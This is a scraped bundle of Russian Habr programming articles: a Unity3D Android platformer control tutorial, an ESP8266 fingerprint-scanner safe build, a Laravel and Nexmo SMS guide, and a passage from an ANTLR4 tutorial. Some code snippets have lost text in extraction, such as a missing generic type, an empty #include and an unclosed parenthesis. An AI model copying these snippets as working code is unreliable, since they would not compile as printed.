> * «[Управление роботами, созданными с помощью LEGO Mindstorms NXT Brick через язык Wolfram Language (Mathematica)](https://habr.com/ru/company/wolfram/blog/256345/)»
> * «[Взаимодействие с роботом на базе конструктора Lego Mindstorms EV3 через RCML](https://habr.com/ru/post/371909/)»
> * «[Lego представила Mindstorms EV3](https://habr.com/ru/post/164971/)»
> | https://habr.com/ru/post/511628/ | null | ru | null |
# Платформер под Android на Unity3D
Пожалуй, даже после выхода нового UI, создание интерфейса для Android’а осталось больной темой для многих.
Новая система “UI”, которая появилась в Unity 4.6 сильно упростила жизнь разработчикам, но все же, хотелось бы прояснить некоторые моменты, которые относятся к Android’у.
Из плюсов:
-Мощный набор инструментов
-Корректное масштабирование на разных разрешениях, что в свою очередь устраняет кучу лишней работы
-Поддержка сенсорного управления без дополнительных настроек
-Гибкость и простота в использовании
Статья будет разделена на две части.
Первая (базовая) — для тех, кто еще только начинает пользоваться Unity3D. Вторая — собственно, сама реализация управления для платформера под Android.
Часть первая
------------
1) Для начала, создайте новую сцену File > New Scene.
2) В папке “Assets” создайте еще две папки: “Scripts” и “Sprites”.
3) Далее, спрайты, которые я подготовил, добавляем в папку “Sprites”.
Спрайты:
Ставим Filter Mode на пункт “Point” платформе и персонажу, поскольку они выполнены в пиксель арте.
Перетаскиваем на сцену спрайт персонажа, пару спрайтов платформ и фон(предварительно увеличив его в размере).
Должно получиться что-то похожее на:
Добавим нашему персонажу такие компоненты как:Rigidbody2D,CircleCollider2D и заморозим возможность вращения по оси Z.
Всем платформам добавим компонент: BoxCollider2D.
4) Добавим на сцену три Image’а через GameObject > UI > Image.
Это и есть наш будущий интерфейс(кнопки: вправо, влево, прыжок).
Подгоняем размеры и идем дальше:
Image’ам слева ставим “привязку” к левому нижнему краю, а правому — к правому нижнему.
Для каждого Image’а в Source Image перетаскиваем свой спрайт.
В результате должно получиться:
Вот и конец первой части.
Во второй части, мы перейдем к скриптингу и добавим кнопкам функционал.
Часть вторая
------------
Теперь перейдем к основному:
1) Создайте новый скрипт в папке “Scripts” и назовите его “CharController” (писать будем на C#).
Вставляем в него код:
```
using UnityEngine;
using System.Collections;
public class CharController : MonoBehaviour
{
public Rigidbody2D rb2d;
public float playerSpeed;
public float jumpPower;
public int directionInput;
public bool groundCheck;
public bool facingRight = true;
void Start()
{
rb2d = GetComponent();
}
void Update()
{
if ((directionInput < 0) && (facingRight))
{
Flip();
}
if ((directionInput > 0) && (!facingRight))
{
Flip();
}
groundCheck = true;
}
void FixedUpdate()
{
rb2d.velocity = new Vector2(playerSpeed \* directionInput, rb2d.velocity.y);
}
public void Move(int InputAxis)
{
directionInput = InputAxis;
}
public void Jump(bool isJump)
{
isJump = groundCheck;
if (groundCheck)
{
rb2d.velocity = new Vector2(rb2d.velocity.x, jumpPower);
}
}
void Flip()
{
facingRight = !facingRight;
Vector3 theScale = transform.localScale;
theScale.x \*= -1;
transform.localScale = theScale;
}
}
```
“Простота — залог успеха” — в нашем случае так и есть. Передвижение и прыжки персонажа были реализованы через отдельные void’ы.
Повесьте данный скрипт на персонажа. Склеить все это дело вместе, нам поможет Event System.
2) Для удобства переименуйте “кнопки” чтобы не запутаться.
Например:”leftButton”,”rightButton”,”jumpButton”.
Добавим каждой кнопке компонент Event Trigger.
Теперь, кнопке “Влево” в компоненте Event Trigger создайте два новых события — PointerDown и PointerExit.
В PointerDown и PointerExit создайте по одному событию, перетащите на каждый нашего персонажа(на котором обязательно должен висеть скрипт).Кликаем по выпадающему меню и находим наш скрипт “CharController” > void “Move(int)”.
Аналогичные манипуляции проведем с кнопкой “Вправо”.
Кнопке “Прыжок” добавим только PointerEnter > CharController > Jump(bool).
3) Пришло время выставлять значения.
Персонажу:
Кнопке “Влево”:
Для кнопки “Вправо” тоже поменяем значение в PointerDown, но на “1”.
4) Запустим наш проект:
Вот и все!
Конечно назвать данную статью “Разработка от А до Я” нельзя, но думаю многим теперь будет проще сделать управление для Android’а. Всем спасибо за внимание.
P.S Буду очень рад советам и критике. | https://habr.com/ru/post/264611/ | null | ru | null |
# Сейф с доступом по отпечатку пальца
Этот проект основан на [предыдущем](https://habr.com/ru/company/ruvds/blog/657029/), в котором я заменил плату управления старого сейфа на ESP8266 D1 Mini, превратив его в современный сейф с одноразовым паролем. На этот раз я добавлю альтернативный способ открывания с помощью отпечатка пальца, включая возможность регистрации новых отпечатков.
Задача — заставить работать сканер параллельно с панелью ввода, чтобы можно было открывать сейф как с помощью одноразового пароля, так и с помощью отпечатка.
Интересно становится, когда задумываешься о том, как регистрировать новые отпечатки. Регистрация означает «обучение» сейфа новому отпечатку, авторизованному для отпирания сейфа. Дактилоскопический датчик может хранить до 127 сигнатур, сопоставляя отпечаток прикладываемого пальца со всеми зарегистрированными шаблонами. Для входа в режим регистрации необходимо отпереть сейф (с помощью ранее установленного отпечатка или одноразового пароля).
После отпирания у вас есть 10 секунд, в течение которых светодиод сканера мигает фиолетовым. Если в течение этого времени ввести с помощью кнопочной панели число в диапазоне 1 — 127, сопроводив его А или B, то микроконтроллер войдёт в режим регистрации и сохранит отпечаток в ячейке 1 — 127 согласно вводу. Для регистрации пользователю нужно дважды приложить палец к сенсору.
Оборудование
------------
В качестве сканера я задействовал [ёмкостный дактилоскопический датчик R503](https://www.adafruit.com/product/4651).
Я планировал установить его вместо цилиндра замка сейфа, но обнаружил, что у сканера диаметр внутренней резьбы равен 23.5мм, что на 5.5мм больше, чем у оригинального цилиндра. И всё сканер я заказал, предположив, что найду способ его туда втиснуть. К счастью, выяснилось, что благодаря внешнему диаметру (25мм) он плотно прилегает к пластиковой накладке, не требуя проталкивания вглубь дверцы.
Шаг 1: замена цилиндра ключа сканером
-------------------------------------
**Дополнительные фото**
Чтобы разобрать цилиндр, нужно просто открутить его заднюю часть (с внутренней стороны дверцы). Таким образом, снимается механизм, позволяющий ключу открывать замок. Затем нужно свинтить ещё одну шайбу, после чего цилиндр можно снять. Для полноценного доступа мне также потребовалось снять лицевую панель.
Сканер не встаёт в точности в паз из-под цилиндра (23.5мм против 18мм), но места в панели хватило, поскольку он должен выпирать дальше, чем замок. После установки провода удалось аккуратно просунуть через оригинальное отверстие под цилиндр.
Шаг 2: подключение
------------------
**Дополнительные фото**
Подключается R503 довольно просто — для этого лишь нужно подсоединить провода передачи данных (TX/RX) к любому выводу данных на микроконтроллере (не путать с выводами микроконтроллера TX/RX). Помимо этого, ему требуется питание 3В и GND.
Тем не менее в контексте моего предыдущего проекта здесь возникли сложности, поскольку доступных выводов не было, а использовать D8 и D0 было нельзя, так как это влияло на загрузку устройства. В результате мне пришлось перестроить соединение зуммера и реле, после чего для подключения TX и RX удалось задействовать выводы D6 и D7 соответственно.
```
Arduino | Component
---------+-------------
D0 | Keypad-Col1
D5 | Buzzer-Red
D6 | R503-TX
D7 | R503-RX
D8 | Keypad-Col2
TX | Keypad-Row1
RX | Keypad-Row2
D1 | Relay Signal
D2 | Keypad-Row3
D3 | Keypad-Row4
D4 | Keypad-Col3
3V | R503-VCC
GND | R503-GND, Relay-GND, Buzzer-Black
5V | Relay-VCC
```
Шаг 3: проверка отпечатка
-------------------------
Проверка отпечатка — это относительно простая процедура. В библиотеке `Adafruit_Fingerprint` для этого есть рабочий пример. Ниже показана упрощённая версия кода, ссылка на полную дана в конце статьи.
```
#include
#define buzzer D5
// ## Считыватель отпечатка
SoftwareSerial mySerial(D6, D7);
Adafruit\_Fingerprint finger = Adafruit\_Fingerprint(&mySerial);
unsigned long lastTry = 0;
void setup() {
pinMode(buzzer, OUTPUT);
finger.begin(57600);
if (!finger.verifyPassword()) {
Serial.println("Fingerprint reader not found!");
for (int i = 0; i < 3; i++) {
tone(buzzer, 4500, 500);
delay(1000);
}
}
finger.getTemplateCount();
if (finger.templateCount == 0) {
Serial.println("Fingerprint reader doesn't have any signatures!");
for (int i = 0; i < 2; i++) {
tone(buzzer, 4500, 500);
delay(1000);
}
}
}
void loop() {
// Проверка отпечатка
if (millis() >= lastTry) {
finger.LEDcontrol(FINGERPRINT\_LED\_OFF, 0, FINGERPRINT\_LED\_BLUE);
int fingerId = getFingerprintID();
if (fingerId > 0) {
openSafe();
} else if (fingerId == -1) {
wrongPin();
}
}
}
void openSafe() {
finger.LEDcontrol(FINGERPRINT\_LED\_GRADUAL\_ON, 200, FINGERPRINT\_LED\_BLUE);
digitalWrite(relayLockPin, LOW);
delay(100);
tone(buzzer, 3000, 500;
lastTry = millis() + 10000;
}
void wrongPin() {
finger.LEDcontrol(FINGERPRINT\_LED\_FLASHING, 25, FINGERPRINT\_LED\_RED, 3);
delay(100);
for (int i = 0; i < 2; i++) {
tone(buzzer, 4500, 100/beepFactor);
delay(200);
}
tone(buzzer, 4500, 300/beepFactor);
delay(400);
}
int getFingerprintID() {
uint8\_t p = finger.getImage();
if (p == FINGERPRINT\_NOFINGER || finger.image2Tz() != FINGERPRINT\_OK) {
return 0;
}
p = finger.fingerSearch();
if (p == FINGERPRINT\_OK) {
return finger.fingerID;
} else {
lastTry = millis() + 1000;
}
return -1;
}
```
Мы указываем контакты ввода-вывода, используемые для TX/RX, и инициализируем сканер отпечатка.
```
SoftwareSerial mySerial(D6, D7);
Adafruit_Fingerprint finger = Adafruit_Fingerprint(&mySerial);
```
Во время `setup()` сначала проверяется доступность сканера. Если он недоступен, то именно здесь нужно либо произвести выход, либо просто установить флаг, чтобы отключить остальную функциональность.
Кроме того, можно проверить количество хранящихся в сканере сигнатур и дать звуковую обратную связь в случае, если их обнаружить не удастся.
```
void setup() {
finger.begin(57600);
if (!finger.verifyPassword()) {
Serial.println("Fingerprint reader not found!");
}
finger.getTemplateCount();
if (finger.templateCount == 0) {
Serial.println("Fingerprint reader doesn't have any signatures!");
for (int i = 0; i < 2; i++) {
tone(buzzer, 4500, 500);
delay(1000);
}
}
}
```
Внутри `loop()` происходит непрерывное сканирование отпечатка. Если к сканеру не приложен палец, или сканирование проваливается, то `getFingerprintID()` возвращает `0`. Если же палец к сканеру приложен, функция либо вернёт ID (1-127) совпавшего отпечатка, либо `-1` при отсутствии совпадений.
```
void loop() {
int fingerId = getFingerprintID();
if (fingerId > 0) {
openSafe();
} else if (fingerId == -1) {
wrongPin();
}
}
```
Шаг 4: регистрация нового отпечатка
-----------------------------------
Это часть кода уже посложнее. Ради краткости я удалил отсюда некоторые фрагменты. Компилируемую версию можно найти в репозитории проекта.
```
void loop() {
// Регистрация отпечатка
char customKey = customKeypad.getKey();
if (customKey) {
if (customKey != 'A' && customKey != 'B' && codeIndex <= 3) {
code[codeIndex] = customKey;
codeIndex = codeIndex + 1;
Serial.print("Fingerprint Id: ");
Serial.println(code);
} else {
uint16_t slotId = atoi(code);
codeIndex = 0;
memset(code, 0, 8);
if (slotId >= 1 && slotId <= 127) {
Serial.print("Fingerprint Id to enrol: "); Serial.println(slotId);
if (getFingerprintEnroll(slotId)) {
// Успех
} else {
// Ошибка
}
}
}
}
}
bool getFingerprintEnroll(uint8_t id) {
if (sampleFinger(1)) {
Serial.print("Remove finger.");
while (finger.getImage() != FINGERPRINT_NOFINGER) {
Serial.print(".");
delay(10);
}
Serial.println();
delay(500);
if (sampleFinger(2)) {
Serial.println("Creating model");
int p = finger.createModel();
if (p == FINGERPRINT_OK) {
Serial.println("Prints matched!");
p = finger.storeModel(id);
if (p == FINGERPRINT_OK) {
Serial.println("Stored!");
return true;
} else {
Serial.println("Error storing fingerprint model");
}
} else {
Serial.println("Fingerprints did not match or other error");
}
}
}
return false;
}
bool sampleFinger(uint8_t slot) {
int p = -1;
while (p != FINGERPRINT_OK && p != FINGERPRINT_PACKETRECIEVEERR) {
p = finger.getImage();
switch (p) {
case FINGERPRINT_OK:
Serial.println("Image taken");
break;
case FINGERPRINT_NOFINGER:
Serial.print(".");
break;
case FINGERPRINT_PACKETRECIEVEERR:
Serial.println("Communication error");
break;
case FINGERPRINT_IMAGEFAIL:
Serial.println("Imaging error");
return false;
default:
Serial.println("Unknown error");
return false;
}
}
p = finger.image2Tz(slot);
switch (p) {
case FINGERPRINT_OK:
Serial.println("Image converted");
break;
case FINGERPRINT_IMAGEMESS:
Serial.println("Image too messy");
break;
case FINGERPRINT_PACKETRECIEVEERR:
Serial.println("Communication error");
break;
case FINGERPRINT_FEATUREFAIL:
Serial.println("Could not find fingerprint features");
break;
case FINGERPRINT_INVALIDIMAGE:
Serial.println("Could not find fingerprint features");
break;
default:
Serial.println("Unknown error");
break;
}
return (p == FINGERPRINT_OK);
}
```
Внутри `loop()` мы проверяем, является ли набранное число (предшествующее вводу А или В) допустимым номером ячейки для отпечатка (1-127). Если да, то вызываем функцию `getFingerprintEnroll()` с переданным значением ячейки.
Процесс регистрации получает первый образец отпечатка, после чего ожидает от сканера сообщения `FINGERPRINT_NOFINGER`, указывающего, что палец был убран. После этого считывается второй образец. Далее оба отпечатка проходят тесты, подтверждающие их идентичность.
```
int p = finger.createModel();
if (p == FINGERPRINT_OK) {
Serial.println("Prints matched!");
}
В завершении, если всё прошло успешно, созданный паттерн сохраняется.
p = finger.storeModel(id);
if (p == FINGERPRINT_OK) {
Serial.println("Stored!");
}
```
Шаг 5: итоги
------------
Полная версия кода доступна на [GitHub](https://github.com/adi-miller/totp-safe). Она включает поддержку одноразового пароля, работу с замком и прочее.
Я не тестировал его на других сканерах отпечатков, но в теории всё должно работать. Будет здорово, если в комментариях вы поделитесь собственным опытом тюнинга сейфов.
Повторю дисклеймер из оригинального проекта «Time-Based One-Time Password (TOTP) Smart Safe — Instructables»:
> Очевидно, что этот сейф не такой уж “safe”. Помимо риска взлома самого сейфа, здесь присутствуют и другие потенциальные точки сбоя. Если Di Mini умрёт, то вы вообще не сможете с ним взаимодействовать. Так что будьте осторожны.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=sejf_s_dostupom_po_otpechatku_palca) | https://habr.com/ru/post/656889/ | null | ru | null |
# Отправка и получение SMS с помощью Laravel и Nexmo
В этом кратком руководстве от Фила Леггеттера мы рассмотрим, как отправлять и получать SMS в приложении Laravel. Мы реализуем эту возможность, используя [Nexmo](https://www.nexmo.com/) — платформу облачных коммуникаций, которая предлагает API-интерфейсы для инициализации телефонных номеров, отправки и приема SMS (что мы и будем использовать), а так же для совершения звонков.
#### **Предварительные требования**
Нам понадобится [учетная запись](https://dashboard.nexmo.com/sign-up) Nexmo, установленный [Nexmo CLI](https://github.com/nexmo/nexmo-cli) (интерфейс командной строки), а так же ваше предустановленное приложение Laravel. Кроме того, понадобится локальное туннеллирование, что бы служба Nexmo могла сделать HTTP запрос на локальный веб-сервер. Мы рекомендуем [ngrok](https://ngrok.com/).
#### **Введение**
Первым делом мы создадим наше приложение Laravel SMS:
```
composer create-project --prefer-dist laravel/laravel laravel-sms
cd laravel-sms
```
Далее, добавим [пакет Nexmo Laravel](https://github.com/Nexmo/nexmo-laravel) в composer.json:
```
"require": {
...,
"nexmo/laravel": "dev-master as 1.0",
"nexmo/client": "dev-master as 1.0"
},
```
*Примечание: когда эти пакеты выйдут из бета-версии, вам нужно всего лишь включить пакет `nexmo/laravel`, а `nexmo/client` будет добавлен автоматически в качестве зависимости.*
Добавим сервис-провайдер Nexmo в ваш конфигурационный файл `app.php`:
```
'providers' => [
...,
Nexmo\Laravel\NexmoServiceProvider::class
]
```
*Примечание: вы так же можете добавить его в `aliases`, если хотите использовать фасад.*
Установим пакеты и скопируем конфигурационный файл Nexmo:
```
› composer update
php artisan vendor:publish
```
Наконец, добавьте Nexmo API Key и API Secret в `/config/nexmo.php`, обновите значения API\_KEY и API\_SECRET, основываясь на значениях, содержащихся в [настройках API](https://dashboard.nexmo.com/settings) в Nexmo Dashboard.
```
'api_key' => 'API_KEY',
'api_secret' => 'API_SECRET',
```
*Примечание: при желании вы можете объявить значения в `.env` и `env(...)`.*
#### **Отправка SMS**
*Примечание: для простоты мы добавим весь функционал в `app/Http/routes.php`.*
Добавьте следующий маршрут в `app/Http/routes.php`:
```
Route::get('/sms/send/{to}', function(\Nexmo\Client $nexmo, $to){
$message = $nexmo->message()->send([
'to' => $to,
'from' => '@leggetter',
'text' => 'Sending SMS from Laravel. Woohoo!'
]);
Log::info('sent message: ' . $message['message-id']);
});
```
Стоит отметить, что в приведенном коде `from` содержит значение `@leggetter`. Это сработает в Великобритании, но не в других странах.
Для тех из вас, кому нужно использовать реальный номер, давайте рассмотрим использование существующего номера, а так же его покупку.
#### **Листинг, поиск и аренда номеров**
Одной из предпосылок для этого урока был [Nexmo CLI](https://github.com/nexmo/nexmo-cli). Мы можем использовать его для множества действий, в том числе для работы с телефонными номерами (виртуальными номерами, если быть точным), которые связаны с нашей учетной записью. Если вы еще не сделали этого, вы должны установить и настроить CLI, где `API_KEY` и `API_SECRET` должны быть заменены учетными данными API, которые использовались ранее:
```
› npm install -g nexmo-cli
nexmo setup API_KEY API_SECRET
```
Теперь мы можем просмотреть доступные номера, которые мы уже арендовали, искать номера, доступные для аренды, а так же арендовать или отменить аренду определенного номера. Давайте начнем с того, что посмотрим на список номеров, которые уже доступны на нашей учетной записи:
```
› nexmo number:list
14155550123
```
В приведенном выше примере у меня есть номер. Если у вас нет номера, вы можете произвести поиск по номерам для аренды. Все, что вам необходимо для этого знать — это два символа кода страны в [формате ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2). На самом деле, это проще, чем кажется. Например, для Великобритании это **GB**, а для Соединенных Штатов — **US** (прим. пер.: а для России — **RU**). Давайте найдем номер для аренды в США:
```
› nexmo number:search US
14155550111
14155550222
14155550333
```
Если у вас нет номера, вы должны его купить, после чего вы сможете отправлять и получать SMS в тех странах, которые требуют реального исходящего номера.
```
› nexmo number:buy 14155550111 --confirm
Number purchased: 14155550111
```
#### **Отправка SMS, наконец-то!**
Теперь вам необходимо обновить код, что бы использовать только что купленный номер. Для этого нужно изменить значение `from` на `env('NEXMO_NUMBER')`, как на примере ниже:
```
Route::get('/sms/send/{to}', function(\Nexmo\Client $nexmo, $to){
$message = $nexmo->message()->send([
'to' => $to,
'from' => env('NEXMO_NUMBER'),
'text' => 'Sending SMS from Laravel. Woohoo!'
]);
Log::info('sent message: ' . $message['message-id']);
});
```
Затем запустите сервер:
```
› php artisan serve
Laravel development server started on http://localhost:8000/
```
И перейдите к `http://localhost:8000/sms/send/YOUR_NUMBER`, где `YOUR_NUMBER` должен быть заменен на реальный номер, включая код страны, в формате [E.164](https://en.wikipedia.org/wiki/E.164), т.е. в том же формате, который был показан во всех приведенных выше примерах.
В файле `storage/logs/laravel.log` вы увидите запись лога, относящуюся к сообщению, которое только что было отправлено, включая уникальный идентификатор сообщения в конце записи, например:
```
[2016-08-02 13:45:01] local.INFO: sent message: 03000000068F5D97
```
#### **Приём входящего SMS**
Для того, что бы наше приложение могло получать входящие SMS, нам необходимо выполнить несколько действий:
1. Убедитесь, что приложение видно для Nexmo через локальный туннель
2. Создайте маршрут для получения SMS
3. Отключите CSRF для маршрута, получающего SMS
4. Сообщите Nexmo, по какому маршруту вызывать вебхук при получении сообщения
Начнем с того, что дадим платформе Nexmo доступ к нашему приложению через локальный туннель. Если предположить, что вы используете ngrok и ваш веб-сервер Laravel прослушивает порт 8000, вы можете сделать это следующим образом:
```
› ngrok http 8000
ngrok by @inconshreveable (Ctrl+C to quit)
Tunnel Status online
Version 2.1.3
Region United States (us)
Web Interface http://127.0.0.1:4041
Forwarding http://814882e9.ngrok.io -> localhost:8000
Forwarding https://814882e9.ngrok.io -> localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
```
Выше вы можете увидеть, что поддомен на ngrok был успешно создан и теперь любые запросы к нему будут туннелироваться на наш локальный хост `localhost:8000`.
Теперь необходимо создать маршрут для получения SMS в файле `routes.php`:
```
Route::post('/sms/receive', function(\Nexmo\Client $nexmo){
});
```
По умолчанию Laravel не пропустит POST запросы на этот маршрут без [CSRF токена](https://laravel.com/docs/5.2/routing#csrf-protection). Так как запрос на этот маршрут будет сделан Nexmo, у которого нет токена, нам необходимо отключить CSRF для этого маршрута. Добавьте в `App/Http/Middleware/VerifyCsrfToken.php` следующее:
```
protected $except = [
'/sms/receive'
];
```
И, наконец, давайте сообщим Nexmo, по какому маршруту сделать вызов вебхука, когда будет получено SMS. Мы можем сделать это с помощью Nexmo CLI. При выполнении следующей команды вы должны использовать номер телефона, который вы арендовали, а так же ваш поддомен ngrok:
```
› nexmo link:sms 14155550111 https://814882e9.ngrok.io/sms/receive
Number updated
```
При выполнении этой команды, служба Nexmo попытается вызвать ваш маршрут `/sms/receive`, и вы должны увидеть запрос в терминале ngrok:
```
HTTP Requests
-------------
POST /sms/receive 200 OK
```
Клиентская библиотека Nexmo PHP предоставляет возможность с легкостью захватывать параметры HTTP, которые были отправлены от Nexmo приложению Laravel и создавать объект входящего сообщения `InboundMessage`, с которым мы можем работать. Обновите код маршрута `/sms/receive` следующим образом:
```
Route::post('/sms/receive', function(\Nexmo\Client $nexmo){
$message = \Nexmo\Message\InboundMessage::createFromGlobals();
Log::info('got text: ' . $message->getBody());
});
```
После этого отправьте SMS на арендованный номер и проверьте `storage/logs/laravel.log`, в логе должно находиться отправленное вами сообщение.
```
[2016-08-02 13:45:01] local.INFO: sent message: 03000000068F5D97
[2016-08-02 14:20:50] local.INFO: sent message: 0300000006917797
[2016-08-02 14:21:17] local.INFO: got text: Sending one back.
```
#### **Автоматический ответ на входящее SMS**
И, наконец, давайте создадим автоответчик для входящего сообщения. Клиент Nexmo PHP обеспечивает хороший способ сделать это с помощью функции `InboundMessage->createReply`:
```
Route::post('/sms/receive', function(\Nexmo\Client $nexmo){
$message = \Nexmo\Message\InboundMessage::createFromGlobals();
Log::info('got text: ' . $message->getBody());
$reply =$nexmo->message()->send($message->createReply('Laravel Auto-Reply FTW!'));
Log::info('sent reply: ' . $reply['message-id']);
});
```
Отправьте сообщение на арендованный номер и вы получите автоматический ответ. Это ведь почти магия!
#### **Заключение**
В этом уроке мы рассмотрели все, что вам нужно знать, чтобы реализовать отправку и получение SMS, и даже автоматический ответ на SMS, в приложении Laravel с использованием платформы облачных коммуникаций Nexmo.
Вы можете найти код этого урока на [github.com/nexmo-community/laravel-sms](https://github.com/nexmo-community/laravel-sms). | https://habr.com/ru/post/307278/ | null | ru | null |
# Разбираемся с библиотекой лексического анализа ANTLR4
У нас в SberDevices разрабатывается платформа по управлению рекомендациями, которая взаимодействует с разными ML-движками. Со временем их станет много, и, когда пользователь умных устройств Sber будет запрашивать контент – искать фильмы, музыку, спрашивать о чём-то виртуальных ассистентов Салют, – запрос будет проходить через нашу платформу.
Сначала выбор движка мы хотели завязывать на источник сообщений – пользовательское приложение на устройстве. Сейчас мы решили управлять маршрутизацией на основе содержания сообщений – по различным полям. Для этого используется набор правил, похожих на условие WHERE в SQL, т.е. мы выбираем маршруты, у которых совпадают условия со значениями полей сообщений.
В SQL-запросе пользователь шлёт условие, по которому из существующих строк таблицы выбираются подходящие. В нашей задаче получается наоборот: входящему сообщению нужно сопоставить все условия, которые у нас есть, и вернуть те, которые прошли проверку. Правила маршрутизации – это настройки, и их должны создавать не только программисты, но и менеджеры контента или дейта-сайентисты. С такими задачами справляются такие фреймворки, как, например [Drools](https://drools.org/), но мы написали своё легковесное решение с упрощенным DSL, условия на котором может понять не только разработчик.
Для обработки правил, написанных на кастомном DSL, лучшая библиотека – ANTLR4. Я находил много статей, в которых описываются разные аспекты работы с ANTLR4, но ни в одной из них я не увидел, то, что изучил на пути создания production-ready кода. Поэтому, разобравшись, я решил собрать туториал. Ниже опишу пример парсинга SQL SELECT-запроса в объектную модель Java. Будем двигаться постепенно, в этот раз рассмотрим простейший случай. На нём мы разберём саму идею этого парсера, сделаем минимальную реализацию.
Немного про ANTLR
-----------------
Давайте представим, что мы создаём базу данных и должны поддержать язык SQL. Рассмотрим простейший запрос на выборку данных:
`SELECT id, name, enabled FROM users;`
Задача лексического анализа – получение списка колонок и имени таблицы, на основе которых будет выполнен запрос и извлечение данных. Вспомним, что вместо списка колонок там может быть звёздочка, закроем глаза и представим if/else-блоки, которые потребуются, чтобы навесить логику.
Чтобы решить эту задачу, скорее всего, вы будете стремиться разделить логику анализа последовательности символов и реагирования на их значения. Другими словами, нужно отделить логику поиска имени таблицы от обработки, валидации этого имени и дальнейшего добавления в модель данных, используемых при запросе.
[ANTLR](https://www.antlr.org/) позволяет сгенерировать набор интерфейсов, в которые будут передаваться распознанные блоки: каждая колонка из списка или имя таблицы, очищенное от пробелов и слова FROM. ANTLR – либа уже довольно старая и проверенная временем, которую тем не менее непрерывно улучшают, выпускают новые версии. Список использования этого анализатора очень велик, а наиболее близкое нам, джавистам, известное место использования – Hibernate Query Language.
ANTLR – кроссплатформенная утилита, которая позволяет однажды созданный синтаксис использовать, применять в различных проектах и модулях, на разных языках – проще говоря, везде где есть поддержка этой либы. Например, на бекенде в Java, при парсинге текста и на фронтенде в JavaScript, при создании подсветки синтаксиса или валидации ввода данных. Список языков, поддерживающих ANTLR4, можно найти [тут](https://github.com/antlr/antlr4/blob/master/doc/targets.md).
Принцип работы ANTLR основан на синтаксическом анализе входного потока данных (ну или простой строки), построения синтаксического дерева, обхода этого дерева и предоставления сгенерированного API для внедрения логики для каждого из событий обхода. API генерируется на основе “*грамматики*”, которая определяет структуру предложения, отдельных фраз/слов и конкретных символов.
Другими словами, грамматика определяет DSL, который ожидается во входящем потоке данных и включает в себя декларацию токенов. Они разбивают входящий поток на сегменты, создавая тем самым события для API.
Такой вот regexp на максималках. Ладно, хватит болтать, давайте кодить уже!
Настраиваем проект для работы с ANTLR
-------------------------------------
Я использую gradle для сборки проекта, описание будет соответствующее.
Добавляем зависимость и регистрируем плагин antlr:
```
apply plugin: 'antlr'
...
dependencies {
antlr "org.antlr:antlr4:4.9.3"
....
}
```
Самым главным пунктом настройки является расположение файла грамматики. Плагин смотрит на специальную директорию проекта – `src/main/antlr`, файл должен быть в ней или поддиректориях. Поддиректории будут восприняты плагином как Java-пакеты, в которых будут расположены сорцы: сгенерированные парсер, лексер и прочие. После генерации классы будут доступны в ваших исходниках.
В моём примере путь к файлу выглядит так:
`src/main/antlr/org/example/SQL.g4`
Тут:
* `src/main/antlr` – директория, чтобы удовлетворить требования плагина;
* `org/example` – основной пакет моего демо-приложения;
* `SQL.g4` – название, отражающее назначение файла – грамматика языка SQL.
Название файла следует выбирать, как если бы это был класс, так как оно будет использоваться как префикс для всего сгенерированного кода.
Основные сущности ANTLR
-----------------------
Стандартный алгоритм работы ANTLR включает в себя следующие сущности:
Файл грамматики – файл, который содержит декларацию правил для парсера и лексера. У ANTLR4 он имеет расширение `*.g4`
Исходный поток данных – он содержит в себе DSL, который мы собираемся распарсить: не обязательно валидный, если будут какие-либо ошибки, можно накрутить свою логику и решать что с ними делать.
Лексер (Lexer) – сгенерированный код, который занимается лексическим анализом и токенизацией текста. Для SELECT-запроса, который мы обсуждали выше, лексеру следует предоставить слова SELECT и FROM и символ “;”. По ним будет токенизирован исходный поток данных и в таком виде он будет передан в парсер. Кроме ключевых слов в лексере следует указать примитивные типы, например, для нашего запроса нужно будет объявить понятие слова – как иначе отделить имя колонки от звёздочки или запятой. Когда перейдем к примерам, будет понятнее.
Парсер – сгенерированный код, который из токенов создает синтаксическое дерево, пригодное для визуализации и обхода. Всё в том же SELECT-запросе видна чёткая структура: между SELECT и FROM всегда список колонок (ну или звёздочка), а сразу после FROM идёт имя таблицы. Каждый из регионов следует обозначить своим именем, и для них будет сгенерирован Java-метод, в который будет передано содержимое этого региона в сгенерированной абстракции.
Обходчик (Walker) – стандартный API, который делает обход дерева и, сталкиваясь с токенами, сообщает о соответствующих им событиях слушателю.
Лисенер (Listener) – сгенерированный код, который предоставляет набор пустых шаблонных методов. Ихмы можем переопределять в своём наследнике и накручивать нашу логику.
Также есть опции вместо лисенера использовать визитор (Visitor), он имеет свои преимущества и недостатки. В конфигурации по умолчанию он отключен и используется только слушатель, поэтому Visitor оставим за пределами этой статьи.
Теперь, понимая что требуется для парсера и лексера, создадим файл грамматики.
Создание файла грамматики SQL.g4
--------------------------------
Файл имеет специальную структуру. Первым в файле декларируются названия грамматики, а также Java-пакет, к которому она принадлежит:
```
grammar SQL;
@header {
package org.example;
}
```
Далее располагают правила для парсера. Каждое из этих правил будет иметь события входа в него и выхода из блока текста, описанного в правиле, и соответствующие им методы в лисенере. Имена правил станут частью имён методов в Java, поэтому должны соответствовать конвенции:
```
sqlQuery
: simpleSelect EOF;
simpleSelect
: SELECT (allColumns | specificColumns) FROM table EOQ;
specificColumns
: column (',' column)
;
allColumns
: ASTERISK
;
column
: VALID_NAME
;
table
: VALID_NAME
;
```
Принято делать входную точку, которая агрегирует в себе все правила и лексику. У нас это будет имя sqlQuery, к нему мы будем обращаться из Java-кода.
Рассмотрим подробнее каждое из правил.
*sqlQuery* содержит только ссылку на правило simpleSelect – так сделано на случай, если мы будем добавлять новый запрос, он не будет связан с simpleSelect и код обработчиков событий simpleSelect останется без изменений. *EOF* (end of file), конец потока символов, ключевое слово самого ANTLR.
*simpleSelect* содержит в себе обитателей лексера: SELECT, FROM и EOQ, а также другие правила – allColumns, specificColumns и table. Причём allColumns и specificColumns – взаимоисключающие. Синтаксис напоминает regexp – обязательно должно быть что-то из этих двоих. А вот что именно? Тут не должно быть неопределённости, и это достигается структурой правил allColumns и specificColumns.
